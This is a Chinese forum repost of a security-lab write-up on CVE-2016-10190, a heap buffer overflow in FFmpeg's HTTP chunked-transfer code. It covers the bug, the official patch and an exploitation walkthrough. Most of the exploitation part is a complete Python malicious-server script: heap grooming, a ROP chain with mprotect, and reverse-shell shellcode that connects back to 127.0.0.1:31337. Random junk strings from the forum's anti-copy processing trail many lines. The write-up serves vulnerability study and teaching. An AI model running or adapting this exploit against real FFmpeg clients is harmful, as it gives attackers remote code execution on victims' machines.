阿里云
阿里云多端小程序中小企业获客首选
发表主题 回复主题
  • 2515阅读
  • 0回复

[干货分享]CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

发帖
107
云币
373
作者:栈长@蚂蚁金服巴斯光年安全实验室 !R1.7}O  
———————— t: #6sF  
<FWF<r3F  
1. 背景 dgA-MQ5{  
FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器、转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文对CVE-2016-10190进行了详细的分析,是一个学习如何利用堆溢出达到任意代码执行的一个非常不错的案例。 (xVsDAp=@  
QAvir%Y9Q  
qQ"Fv|]~>  
2. 漏洞分析 MxY/`9>E|+  
FFmpeg的 Http 协议的实现中支持几种不同的数据传输方式,通过 Http Response Header 来控制。其中一种传输方式是transfer-encoding: chunked,表示数据将被划分为一个个小的 chunk 进行传输,这些 chunk 都是被放在 Http body 当中,每一个 chunk 的结构分为两个部分,第一个部分是该 chunk 的 data 部分的长度,十六进制,以换行符结束,第二个部分就是该 chunk 的 data,末尾还要额外加上一个换行符。下面是一个 Http 响应的示例。关于transfer-encoding: chunked更加详细的内容可以参考这篇文章 oo=Qt(#  
HTTP/1.1 200 OK \ C+(~9@|  
Server: nginx \>C YC|  
Date: Sun, 03 May 2015 17:25:23 GMT [k6nW:C  
Content-Type: text/html iMs5zf <M  
Transfer-Encoding: chunked o(S{VGi,  
Connection: keep-alive AwslWkd=  
Content-Encoding: gzip w:?oTuw  
z)9wXo#~  
1f  ^}:#  
HW(/IJ mml<9fbH  
Sh?4r i@:  
0 )hk   
Q5FM8Q  
漏洞就出现在libavformat/http.c这个文件中,在http_read_stream函数中,如果是以 chunk 的方式传输,程序会读取每个 chunk 的第一行,也就是 chunk 的长度那一行,然后调用s->chunksize = strtoll(line, NULL, 16);来计算 chunk size。chunksize的类型是int64_t,在下面调用了FFMIN和 buffer 的 size 进行了长度比较,但是 buffer 的 size 也是有符号数,这就导致了如果我们让chunksize等于-1, 那么最终传递给httpbufread函数的 size 参数也是-1。相关代码如下: cG?cUw).E  
s->chunksize = strtoll(line, NULL, 16); Ti'}MC+0  
7vABq(  
GKoK7qH\J  
av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n", E;1Jh(58)b  
s->chunksize); .!G94b  
u%/goxA  
if (!s->chunksize) N_pJk2E  
return 0; IdXZoY  
        } ppFe-wY  
        size = FFMIN(size, s->chunksize);//两个有符号数相比较 Sr%;fq  
    } T'LIrf  
//... ~M\I;8ne  
read_ret = http_buf_read(h, buf, size);//可以传递一个负数过去 3"G>>nC&  
L3n_ 5|  
v{9t]s>B  
而在httpbufread函数中会调用ffurl_read函数,进一步把 size 传递过去。然后经过一个比较长的调用链,最终会传递到tcp_read函数中,函数里调用了recv函数来从 socket 读取数据,而recv的第三个参数是size_t类型,也就是无符号数,我们把size为-1传递给它的时候会发生有符号数到无符号数的隐式类型转换,就变成了一个非常大的值0xffffffff,从而导致缓冲区溢出。 glDh([  
k iRa+w:  
static int http_buf_read(URLContext *h, uint8_t *buf, int size) $*kxTiG!7  
{ Le*.*\  
    HTTPContext *s = h->priv_data; Qu7T[ <  
    intlen; J]q%gcM  
    /* read bytes from input buffer first */ >5j<4ShW  
    len = s->buf_end - s->buf_ptr; XXh6^@H=  
    if (len> 0) { YSj+\Z$(  
        if (len> size) MdXchO-Lyc  
            len = size; I8QjKI (  
        memcpy(buf, s->buf_ptr, len); Dc+'<"  
        s->buf_ptr += len; &`fhEN  
    } else { 4T?h  
        //... !H2QjW  
       len = ffurl_read(s->hd, buf, size);//这里的 size 是从上面传递下来的 m~dC3}e8/?  
static int tcp_read(URLContext *h, uint8_t *buf, int size) V~ TWKuR  
{ z.CywME<)t  
    TCPContext *s = h->priv_data; e#B#B  
    int ret; [2dn\z28  
NBF MN%  
    if (!(h->flags & AVIO_FLAG_NONBLOCK)) { n=,\;3Y=  
        //... HBY.DCN[Z  
    } Qjnd6uv{I  
    ret = recv(s->fd, buf, size, 0);    //最后在这里溢出 c5Q<$86  
9<vWcq*4  
LPwT^zV&N  
可以看到,由有符号到无符号数的类型转换可以说是漏洞频发的重灾区,写代码的时候稍有不慎就可能犯下这种错误,而且一些隐式的类型转换编译器并不会报 warning。如果需要检测这样的类型转换,可以在编译的时候添加-Wconversion -Wsign-conversion &*s0\ 8  
官方修复方案 IQ!\w-  
官方的修复方法也比较简单明了,把HTTPContext这个结构体中所有和 size,offset 有关的字段全部改为unsigned类型,把strtoll函数改为strtoull函数,还有一些细节上的调整等等。这么做不仅补上了这次的漏洞,也防止了类似的漏洞不会再其他的地方再发生。放上官方补丁的链接 $46{<4.  
VqE~c  
3. 利用环境搭建 l?iSxqdT  
.@"q$\  
漏洞利用的靶机环境 >I<r)w]  
操作系统:Ubuntu 16.04 x64 E0/mSm"(T  
FFmpeg版本:3.2.1 (参照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu编译,需要把官方教程中提及的所有 encoder编译进去,最好是静态编译。) S2>c#BQ  
QaGlR`Y  
4. 利用过程 Q`#4W3-,  
这次的漏洞需要我们搭建一个恶意的 Http Server,然后让我们的客户端连上 Server,Server 把恶意的 payload 传输给 client,在 client 上执行任意代码,然后反弹一个 shell 到 Server 端。 )XfzLF7  
首先我们需要控制返回的 Http header 中包含transfer-encoding: chunked字段。 KIeT!kmDl  
headers = """HTTP/1.1 200 OK }dxDt qb  
Server: HTTPd/0.9 [DHoGy,P  
Date: Sun, 10 Apr 2005 20:26:47 GMT vfB2XVc  
Transfer-Encoding: chunked ^>?CMcN4*  
eh*6cQ.0  
""" 4gSH(*}  
然后我们控制 chunk 的 size 为-1, 再把我们的 payload 发送过去 [0OJdY4  
    client_socket.send('-1\n') 0Y]0!}  
    #raw_input("sleep for a while to avoid HTTPContext buffer problem!") $hR)i  
    sleep(3)    #这里 sleep 很关键,后面会解释 qi^!GA'5j  
    client_socket.send(payload) 'O6]0l  
0lM{l?  
下面我们开始考虑 payload 该如何构造,首先我们使用gdb观察程序在 buffer overflow 的时候的堆布局是怎样的,在我的机器上很不幸的是可以看到被溢出的 chunk 正好紧跟在 top chunk的后面,这就给我们的利用带来了困难。接下来我先后考虑了三种思路: f&4,?E;6%  
{m8+Wju}  
思路一:覆盖top chunk的size字段 OOBhbpg!D  
这是一种常见的glibc heap 利用技巧,是通过把 top chunk 的size 字段改写来实现任意地址写,但是这种方法需要我们能很好的控制malloc的 size 参数。在FFmpeg源代码中寻找了一番并没有找到这样的代码,只能放弃。 (!5LW '3B  
to"' By{9  
思路二:通过unlink来任意地址写 L?Yoh<  
这种方法的条件也比较苛刻,首先需要绕过 unlink 的 check,但是由于我们没有办法 leak 出堆地址,所以也是行不通的。 fQnwy!-\  
|DF9cd^  
思路三:通过某种方式影响堆布局,使得溢出chunk后面有关键结构体 dz#5q-r  
如果溢出 chunk 之后有关键结构体,结构体里面有函数指针,那么事情就简单多了,我们只需要覆盖函数指针就可以控制 RIP 了。纵观溢出时的整个函数调用栈, R)Mt(gFZT_  
avio_read->fill_buffer->io_read_packet->…->http_buf_read,avio_read函数和fill_buffer函数里面都调用了AVIOContext::read_packet这个函数。我们必须设法覆盖AVIOContext这个结构体里面的read_packet函数指针,但是目前这个结构体是在溢出 chunk 的前面的,需要把它挪到后面去。那么就需要搞清楚这两个 chunk 被malloc的先后顺序,以及mallocAVIOContext的时候的堆布局是怎么样的。 rSP_:}  
:`vP}I ^  
int ffio_fdopen(AVIOContext **s, URLContext *h) <uP^-bv;(  
{ N"[B=fU}  
    //... ~F, &GH  
    buffer = av_malloc(buffer_size);//先分配io buffer, 再分配AVIOContext t j Vh^  
if (!buffer) nL]^$J$  
    return AVERROR(ENOMEM); 7@%'wy&A  
Zt3}Z4d  
    internal = av_mallocz(sizeof(*internal)); 3b[jwCt  
    if (!internal) Zszs1{t  
        goto fail; FrTg4  
oh#N 0 0X  
    internal->h = h; ;/AG@$)  
j%Y\A~DV  
    *s = avio_alloc_context(buffer, buffer_size, h->flags & AVIO_FLAG_WRITE, "L& k)J  
internal, io_read_packet, io_write_packet, io_seek); !$XHQLqF2  
9vGs;  
在ffio_fdopen函数中可以清楚的看到是先分配了用于io的 buffer(也就是溢出的 chunk),再分配AVIOContext的。程序在mallocAVIOContext的时候堆上有一个 large free chunk,正好是在溢出 chunk 的前面。那么只要想办法在之前把这个 free chunk 给填上就能让AVIOContext跑到溢出 chunk 的后面去了。由于http_open是在AVIOContext被分配之前调用的,(关于整个调用顺序可以参考雷霄华的博客整理的一个FFmpeg的总的流程图)所以我们可在http_read_header函数里面寻找那些能够影响堆布局的代码,其中 Content-Type 字段就会为字段值malloc一段内存来保存。所以我们可以任意填充Content-Type的值为那个 free chunk 的大小,就能预先把 free chunk 给使用掉了。修改后的Http header如下: K7vw3UwGN  
cm>E[SHr  
headers = """HTTP/1.1 200 OK -[#n+`M  
Server: HTTPd/0.9 ://U^sFL  
Date: Sun, 10 Apr 2005 20:26:47 GMT @fn6<3  
Content-Type: %s s0LA^2U  
Transfer-Encoding: chunked 73NZ:h%=  
Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; EH9Hpo  
JSMPyj  
""" % ('h' * 3120) ZKbDp~  
T.?k>A k  
其中Set-Cookie字段可有可无,只是会影响溢出 chunk 和AVIOContext的距离,不会影响他们的前后关系。 udqge?Tz  
Re:T9K'e  
这之后就是覆盖AVIOContext的各个字段,以及考虑怎么让程序走到己想要的分支了。经过分析我们让程序再一次调用fill_buffer,然后走到s->read_packet那一行是最稳妥的。调试发现走到那一行的时候我们可以控制的有RIP, RDI, RSI, RDX, RCX等寄存器,接下来就是考虑怎么 ROP 了。 ')PVGV(D+  
z)L}ECZh9  
static void fill_buffer(AVIOContext *s) .{rbw9  
{ M?6;|-HH  
    intmax_buffer_size = s->max_packet_size ?  //可控 B1T5f1;uY  
s->max_packet_size : Q^h5">P  
IO_BUFFER_SIZE; Z(!pYhLq  
    uint8_t *dst        = s->buf_end - s->buffer + max_buffer_size< s->buffer_size ? H*!5e0~rR  
                          s->buf_end : s->buffer;   //控制这个, 如果等于s->buffer的话,问题是 heap 地址不知道 iK}v`xq  
    intlen             = s->buffer_size - (dst - s->buffer);   //可控 Sni=gZK  
(.^8^uc 7X  
    /* can't fill the buffer without read_packet, just set EOF if appropriate */ %O) Z  
    if (!s->read_packet&& s->buf_ptr>= s->buf_end) D zDj)7  
        s->eof_reached = 1; C6k4g75U2  
U )Zt-og  
    /* no need to do anything if EOF already reached */ &:vsc Ol  
    if (s->eof_reached) h(:<(o@<  
        return; p{H0dj^|  
p?Sl}A@`  
    if (s->update_checksum&&dst == s->buffer) { 1i,4".h?M  
        //... BjD&> gO)  
    } %Dyh:h   
O)5 #Fcp(  
    /* make buffer smaller in case it ended up large after probing */ z>:U{!5k  
    if (s->read_packet&& s->orig_buffer_size&& s->buffer_size> s->orig_buffer_size) { 0eA5zFU7  
        //... GVObz?Z]SB  
    } 9t }xXk  
(t74a E pi  
    if (s->read_packet) I@PJl  
        len = s->read_packet(s->opaque, dst, len); FW^.m?}|  
AF[>fMI  
首先要把栈迁移到堆上,由于堆地址是随机的,我们不知道。所以只能利用当时寄存器或者内存中存在的堆指针,并且堆指针要指向我们可控的区域。在寄存器中没有找到合适的值,但是打印当前stack, 可以看到栈上正好有我们需要的堆指针,指向AVIOContext结构体的开头。接下来只要想办法找到pop rsp; ret之类的rop就可以了。 Y(z }[`2  
%c0z)R~  
pwndbg> stack C9Wojo.  
00:0000│rsp  0x7fffffffd8c0 —? 0x7fffffffd900 —? 0x7fffffffd930 —? 0x7fffffffd9d0 ?— ... BGpk&.J  
01:0008│      0x7fffffffd8c8 —? 0x2b4ae00 —? 0x63e2c8 (ff_yadif_filter_line_10bit_ssse3+1928) ?— add    rsp, 0x58 RIo'X@zb  
02:0010│      0x7fffffffd8d0 —? 0x7fffffffe200 ?— 0x6 Ut;'Gk  
03:0018│      0x7fffffffd8d8 ?— 0x83d1d51e00000000 _S<?t9mS  
04:0020│      0x7fffffffd8e0 ?— 0x8000 !&0a<~ Wi  
05:0028│      0x7fffffffd8e8 —? 0x2b4b168 ?— 0x6868686868686868 ('hhhhhhhh') kpT>G$s~gy  
06:0030│rbp  0x7fffffffd8f0 —? 0x7fffffffd930 —? 0x7fffffffd9d0 —? 0x7fffffffda40 ?— ... ReqE?CeV  
07:0038│      0x7fffffffd8f8 —? 0x6cfb2c (avio_read+336) ?— movrax, qword ptr [rbp - 0x18] TMtI^mkB:  
o_3*;}k8  
把栈迁移之后,先利用add rsp, 0x58; ret这种蹦床把栈拔高,然后执行我们真正的 ROP 指令。由于plt表中有mprotect, 所以可以先将0x400000地址处的 page 权限改为rwx,再把shellcode写到那边去,然后跳转过去就行了。最终的堆布局如下: r$?Vx_f`Q  
p  .aE  
放上最后利用成功的截图 1O9$W?)Q  
启动恶意的 Server .]zw*t*  
Avd *~  
客户端连接上 Server :'ihE\j  
f:FpyCo=9  
*sAOpf@M  
hJ4S3b  
ip674'bq7R  
成功反弹 shell d{l{P] nr  
Bj+wayMi  
x36NL^  
最后附上完整的利用脚本,根据漏洞作者的exp修改而来 "p`o]$Wv  
#!/usr/bin/python lnjL7x  
#coding=utf-8 }eI`Qg  
]p}#NPe5  
import re p^Agh  
importos q:Wq8  
import sys }oV3EIH  
import socket %L28$c3p  
import threading +!G4tA$g  
from time import sleep ,Z?m`cx  
:K: f^o]s  
frompwn import * 4u7Cm  
/jvO XS\M  
G IK u  
bind_ip = '0.0.0.0' kO jEY  
bind_port = 12345 e7h\(`J0lj  
\A ;^ UxG  
x}_rnf_  
headers = """HTTP/1.1 200 OK S'|lU@P Cl  
Server: HTTPd/0.9 Rnz8 f}  
Date: Sun, 10 Apr 2005 20:26:47 GMT zv`zsqDJ  
Content-Type: %s *1i?6$[ "  
Transfer-Encoding: chunked {a[&#Uv  
Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; }WA<=9e  
+BU0 6lLD  
""" % ('h' * 3120) ]X/O IfdWe  
m\l51}xz  
""" Pu1GCr(  
""" gv`%Z8u(  
*X%?3"WH8  
elf = ELF('/home/dddong/bin/ffmpeg_g') mi*:S%;h  
shellcode_location = 0x00400000 5%EaX?0h+  
page_size = 0x1000 aeLBaS  
rwx_mode = 7  =7*oC  
-Mr{+pf  
gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64'))) 6wa<'!   
pop_rdi = gadget('pop rdi; ret') <{3q{VW*  
pop_rsi = gadget('pop rsi; ret') B .{8/.4  
pop_rax = gadget('pop rax; ret') ]!n*V/g  
pop_rcx = gadget('pop rcx; ret') FRb&@(;  
pop_rdx = gadget('pop rdx; ret') u]ZqF *  
pop_rbp = gadget('pop rbp; ret') pyu46iE)  
46QYXmNQ}  
leave_ret = gadget('leave; ret') ,e}mR>i=e  
pop_pop_rbp_jmp_rcx = gadget('pop rbx ; pop rbp ; jmprcx') 8#[%?}tK  
push_rbx = gadget('push rbx; jmprdi') CUAg{]  
push_rsi = gadget('push rsi; jmprdi') V2WUM+`uT  
push_rdx_call_rdi = gadget('push rdx; call rdi') \9&YV;Ct  
pop_rsp = gadget('pop rsp; ret') S-H-tFy\\  
add_rsp = gadget('add rsp, 0x58; ret') UXcH";*9b  
mtiO7w"M\7  
mov_gadget = gadget('mov qword ptr [rdi], rax ; ret') g_-?h&W  
p,_6jdz  
mprotect_func = elf.plt['mprotect'] [wXwKr  
#read_func = elf.plt['read'] X^?|Sz<^E  
V1UUAvN7s  
*!wO:< -  
Q6s5#7h'"  
def handle_request(client_socket): s[vPH8qb  
    # 0x009e5641: mov qword [rcx], rax ; ret  ;  (1 found) &r 5&6p  
USHlb#*  
    # 0x010ccd95: push rbx ;jmprdi ;  (1 found) |wyJh"4!  
    # 0x00d89257: pop rsp ; ret  ;  (1 found) FVvv   
    # 0x0058dc48: add rsp, 0x58 ; ret  ;  (1 found) Y;~~?[6  
    request = client_socket.recv(2048) C7XS6Nqu  
o|p;6  
    payload = '' 2Be?5+  
    payload += 'C' * (0x8040) O,V6hU/ *  
    payload += 'CCCCCCCC' * 4 qCxD{-9x{  
8VAYIxRv  
    ################################################## FBwncG$]F*  
    #rop starts here Cnc\sMDJ\B  
    payload += p64(add_rsp) # 0x0: 从这里开始覆盖AVIOContext :!Y?j{sGU  
    #payload += p64(0) + p64(1) + 'CCCCCCCC' * 2 #0x8: )$Dcrrj  
    payload += 'CCCCCCCC' * 4 #0x8: buf_ptr和buf_end后面会被覆盖为正确的值 !txELA~24  
,:dEEL+>c  
    payload += p64(pop_rsp) # 0x28: 这里是opaque指针,可以控制rdi和rcx, s->read_packet(opaque,dst,len) +|}K5q\  
    payload += p64(pop_pop_rbp_jmp_rcx) # 0x30: 这里是read_packet指针,call *%rax wn A%Nh7  
    payload += 'BBBBBBBB' * 3 #0x38 P!4{#'_}  
    payload += 'AAAA' #0x50 must_flush Wc`J`&#.#  
    payload += p32(0) #eof_reached ,SE$Rh  
    payload += p32(1) + p32(0) #0x58 write_flag=1 and max_packet_size=0 ;([tf;  
    payload += p64(add_rsp) # 0x60: second add_esp_0x58 rop to jump to uncorrupted chunk -'p@ lk  
    payload += 'CCCCCCCC' #0x68: checksum_ptr控制rdi X gx2  
    #payload += p64(push_rdx_call_rdi) #0x70 _WjETyh [H  
    payload += p64(1) #0x70: update_checksum nTlv'_Y(  
    payload += 'XXXXXXXX' * 9 #0x78: orig_buffer_size VM V]TPks>  
s2kZZP8-  
    # realrop payload starts here U<,Kw6K  
    # h,WY2Hr  
    # usingmprotect to create executable area L/iVs`qF  
    payload += p64(pop_rdi) dD.d?rnZq7  
    payload += p64(shellcode_location) ^ Mvsq)  
    payload += p64(pop_rsi) j~L1~@  
    payload += p64(page_size) U3j~}H.D1  
    payload += p64(pop_rdx) N>nvt.`P  
    payload += p64(rwx_mode) ID)gq_k[8,  
    payload += p64(mprotect_func) =[)N6XV3  
vb"dX0)<  
    # backconnectshellcode x86_64: 127.0.0.1:31337 D>7_P7]y  
    shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"; ?"8A^ ^  
    shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode Va |9)m  
    shellslices = map(''.join, zip(*[iter(shellcode)]*8)) R;TEtu7  
YT(1 "{:  
    write_location = shellcode_location =u3@ Dhw  
    forshellslice in shellslices: gy,TT<1)  
        payload += p64(pop_rax) 5 *pN<S  
        payload += shellslice ^B!?;\4IM  
        payload += p64(pop_rdi) if!`Qid  
        payload += p64(write_location) %M,d/4=P  
        payload += p64(mov_gadget) \`p~b(  
Qdr-GODx  
        write_location += 8 (jE:Q2"  
Oc/_ T>  
    payload += p64(pop_rbp) Nb!6YY=Ez-  
    payload += p64(4) vBYT)S  
    payload += p64(shellcode_location) hC, -9c  
\;:@=9`  
~B*\k^t`  
    client_socket.send(headers) M7<#=pX&  
    client_socket.send('-1\n') g&F<Uv#mZ  
    #raw_input("sleep for a while to avoid HTTPContext buffer problem!") Fx99"3`3  
    sleep(3) &|\}\+0Z  
    client_socket.send(payload) W]}V<S$  
    print "send payload done." fQ.>G+0 I>  
    client_socket.close() PM<LR?PLc  
IS 9q 5/]  
ftU5 A@(T  
if __name__ == '__main__': hG;=ci3EE  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  wY_-  
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) rHBjR_L.2  
H'\EA(v+  
    s.bind((bind_ip, bind_port)) 0:+uw` %  
    s.listen(5) 9w<Bm"G  
JIKxY$GS  
    filename = os.path.basename(__file__) Ml/p{ *p  
    st = os.stat(filename) u\geD  
EEZ2Gu6c  
    print 'start listening at %s:%s' % (bind_ip, bind_port) RZh)0S>J  
    while True: 4"(zi5`e  
        client_socket, addr = s.accept() M>gZVB,eP>  
        print 'accept client connect from %s:%s' % addr UBHQzc+,  
        handle_request(client_socket) O:p649A  
        if os.stat(filename) != st: GiwA$^Hg\  
            print 'restarted' sLqvDH?V  
            sys.exit(0) TC{Qu;`H+U  
P}QbxkS 8  
{1DYXKe  
@5G7bY7Nz  
5. 反思与总结 5m?$\h  
这次的漏洞利用过程让我对FFmpeg的源代码有了更为深刻的理解。也学会了如何通过影响堆布局来简化漏洞利用的过程,如何栈迁移以及编写 ROP。 OT3;qT*fw  
在pwn的过程中,阅读源码来搞清楚malloc的顺序,使用gdb插件(如libheap)来显示堆布局是非常重要的,只有这样才能对症下药,想明白如何才能调整堆的布局。如果能够有插件显示每一个malloc chunk 的函数调用栈就更好了,之后可以尝试一下 GEF 这个插件。 slfVQ809  
7O^ S.(  
6. 参考资料 R0<Vd"  
1  https://trac.ffmpeg.org/ticket/5992 k\%v;3nBK  
2  http://www.openwall.com/lists/oss-security/2017/01/31/12 |6^ K  
3  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10190 "q/M8  
4  官方修复链接:https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa 4F6o  
5  https://security.tencent.com/index.php/blog/msg/116 6|cl`}g_j  
6  Transfer-encoding介绍:https://imququ.com/post/transfer-encoding-header-in-http.html S5a<L_  
7  漏洞原作者的 exp:https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6 8mLU ~P |  
8  FFmpeg源代码结构图:http://blog.csdn.net/leixiaohua1020/article/details/44220151 J3^ZPW  
https://docs.pwntools.com/en/stable/index.html A_|FsQ6$P  
beZ| i 1:  
------------------------------- f.^w/ GJO/  
更多安全类热点信息和知识分享,请关注阿里聚安全的官方博客 fEv36xb2S  
!T . @  
pPp nO  
jloyJ@ck  
}h6z&:qA[?  
uI&M|u:nT  
[ 此帖被移动安全在2017-09-14 10:34重新编辑 ]
发表主题 回复主题
« 返回列表上一主题下一主题

限100 字节
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
 
验证问题: ECS是阿里云提供的什么服务? 正确答案:云服务器
上一个 下一个
      ×
      全新阿里云开发者社区, 去探索开发者的新世界吧!
      一站式的体验,更多的精彩!
      通过下面领域大门,一起探索新的技术世界吧~ (点击图标进入)